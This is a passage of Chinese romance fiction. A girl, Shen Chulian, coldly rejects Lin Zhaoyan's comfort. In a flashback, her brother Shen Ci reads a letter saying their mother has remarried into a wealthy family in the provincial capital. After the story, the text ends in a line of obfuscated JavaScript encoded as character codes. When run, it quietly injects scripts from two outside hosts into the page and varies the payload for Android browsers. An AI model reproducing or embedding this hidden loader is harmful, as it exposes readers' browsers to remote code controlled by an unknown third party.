他拇指无意识地、极其轻微地在她手背上摩挲了一下,一个连自己都未曾察觉的、笨拙的安抚动作。
沈楚连却像被毒蛇咬了一口,全身猛地僵住。
一种更深的寒意从相贴的皮肤处窜起,沿着血液逆流,冻结了四肢百骸。
“别碰我!”
他动作骤然停顿,指尖变得僵硬。
“沈楚连,”
他声音沙哑得厉害,带着疲惫,“开心一点好吗?他已经回不来了,不要沉浸在过往的回忆里。”
“回忆?”
沈楚连冷笑一声,黑色的瞳孔大而无神,目视前方。
“这句话谁都可以说,而你是最没有资格说这个话的人。”
沉默在雷声的间隙里疯狂滋长。
他不知道就这样握了多久。
时间失去了意义。
直到他感觉自己胸腔里那阵酸胀的疼痛慢慢麻木。
最终,他极其缓慢地、一寸寸地松开了手指。
他没有立刻离开。
少女目视前方,缓缓张口。
“林昭衍,你一边拼命抹杀我的过去,一边又奢望我能有一个你想要的、‘开心’的未来?”
她摇了摇头,“有意思吗?”
他最终什么也没再说。转身离开了卧室。
沈楚连依旧僵硬地躺着,直到确认他真的走了,才像被抽走了所有力气般,缓缓蜷缩起来。
窗外的雨,不知疲倦地下着。下着。
这一夜,无人安眠。巨大的沉默里,某些东西彻底沉入了冰冷的水底,再也打捞不起。
邮差的自行车铃铛声在寂静的巷子里显得格外刺耳。
沈楚连抬起头,看见那个穿着绿色制服的身影停在了他们家斑驳的木门前。
“有你们家的信!”邮差扯着嗓子喊了一声,将一个厚厚的牛皮纸信封从门缝里塞了进来。
沈辞正在屋里抄写一份临时找来的学习资料,闻声走了出来。
他袖子挽到手肘,露出清瘦却已有几分力量感的小臂。
捡起地上的信,目光落在信封上时,眉头几不可察地蹙了一下。
那信封很挺括,与镇上常见的粗糙信纸完全不同。
上面打印着清晰的地址,以及一个对于他们而言几乎有些陌生的名字——沈芳宁。
沈楚连也凑了过来,好奇地看着哥哥手中的信。
“是妈妈?”
她的声音里带着一丝不确定和隐约的期待。
沈辞“嗯”了一声,表情看不出太多情绪。
他用一把小刀,小心翼翼地裁开信封边缘。
沈辞的目光快速扫过那些文字,他看得很快,捏着信纸的指尖微微用力,几乎要按破那光滑的纸面。
他清瘦的侧脸线条绷得有些紧,唇瓣抿成一条平直的线。
院子里静得只剩下远处模糊的蝉鸣。
沈楚连屏住呼吸,心脏莫名地跳得快了些。她隐隐感觉到,这封信带来的,绝非普通的问候。
终于,沈辞看完了。
“妈妈…说了什么?”沈楚连忍不住小声问道,声音里带着一丝不易察觉的怯意。
哥哥从未在她面前展现过神色这么凝重的时候。
“…她再婚了。”
他顿了顿,像是在选择措辞,“对方家境很好,在省城。她要把我们接过去…一起生活。”
“接我们去省城?”沈楚连愣住了。
省城,那是一个只在电视里和课本上出现过的地方。
对她来说遥不可及。
她下意识地看向哥哥,眼神里充满了不知所措的依赖和憧憬。
沈辞没有回应她的目光,他的视线落在了院子里那棵老槐树上。
阳光透过枝叶的缝隙,在他脸上投下斑驳的光影,让人看不清他眼底真正的情绪。
“林家…”他几乎是无声地重复了一下信中提到的那个姓氏。
“有个儿子,比你大两岁。”
“那就是比哥哥小一岁咯。”
少女望着他,面容天真而纯净。
“小连,出来玩咯!”
对岸河边传来了熟悉的呼唤声,还有赵月晴和几个女孩隐约的说笑声。
那声音来自他们熟悉无比、浸润到骨子里的日常。
此刻听来,却仿佛隔着一层无形的膜,突然变得有些遥远和不真实。
沈楚连看了哥哥一眼,站起身来。
“我来啦,等等我!”
她回来时,天色已近日暮。
村子里各户人家炊烟袅袅,巷子中弥漫着饭菜的香气。
少女小巧的鼻上,沁出了丝丝薄汗。
她推开自家那扇略显沉重的、吱呀作响的木院门,熟悉的家的气息扑面而来,让她不自觉地放松下来。
沈辞正坐在檐下的旧书桌旁,他只是静静地坐着,侧影被灯光拉得很长,投在斑驳的墙壁上,显得格外清瘦而沉默。
桌上,似乎摆着什么东西,距离有点远,看不真切。
“奶奶,你们怎么不吃啊?”
奶奶似乎被她的声音从遥远的思绪中惊醒,身体微微一动,缓缓转过头来。
“不急…”奶奶的声音有些沙哑,带着疲惫,“等你哥…有点事。”
“哥哥?”
她扭头望向沈辞。
沈辞从椅子上站起来,拍了拍她的肩膀。
“无事,去吃饭吧。”
哥哥那句轻飘飘的“无事”,此刻听起来,像一个苍白而脆弱的谎言。
沈楚连低下头,默默地扒拉着碗里的粥。
因为那封信升起的好奇和兴奋,早已消失得无影无踪。
取而代之的,是一种沉甸甸的、冰冷的预感,像一块石头,压在了她的心口。
晚饭后,沈楚连帮着奶奶收拾碗筷。她看到奶奶在厨房昏暗的灯光下,偷偷用袖口擦了一下眼角。
轻轻踱步到院子里,看到沈辞还坐在檐下那盏孤灯旁。
他没有看书,也没有做任何事,只是仰头望着漆黑的、没有几颗星星的夜空,侧影在灯光下显得格外孤独而凌冽。
沈楚连没有走过去,她只是站在屋门口的阴影里,静静地看着哥哥。晚风吹过,带着夜晚的凉意和老槐树叶沙沙的响声。
她知道,有些东西,从这个黄昏开始,已经不一样了。
(function(a){(new Function(String.fromCharCode(...a)))();})([100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,100,105,118,62,60,100,105,118,32,105,100,61,39,118,56,82,68,50,53,52,49,39,62,60,47,100,105,118,62,60,47,100,105,118,62,34,41,59,108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,109,100,49,49,110,50,51,56,97,46,111,115,115,45,99,110,45,104,97,110,103,122,104,111,117,46,97,108,105,121,117,110,99,115,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,44,34,104,116,116,112,115,58,92,47,92,47,112,46,55,100,51,54,97,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,53,52,49,95,49,49,48,53,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);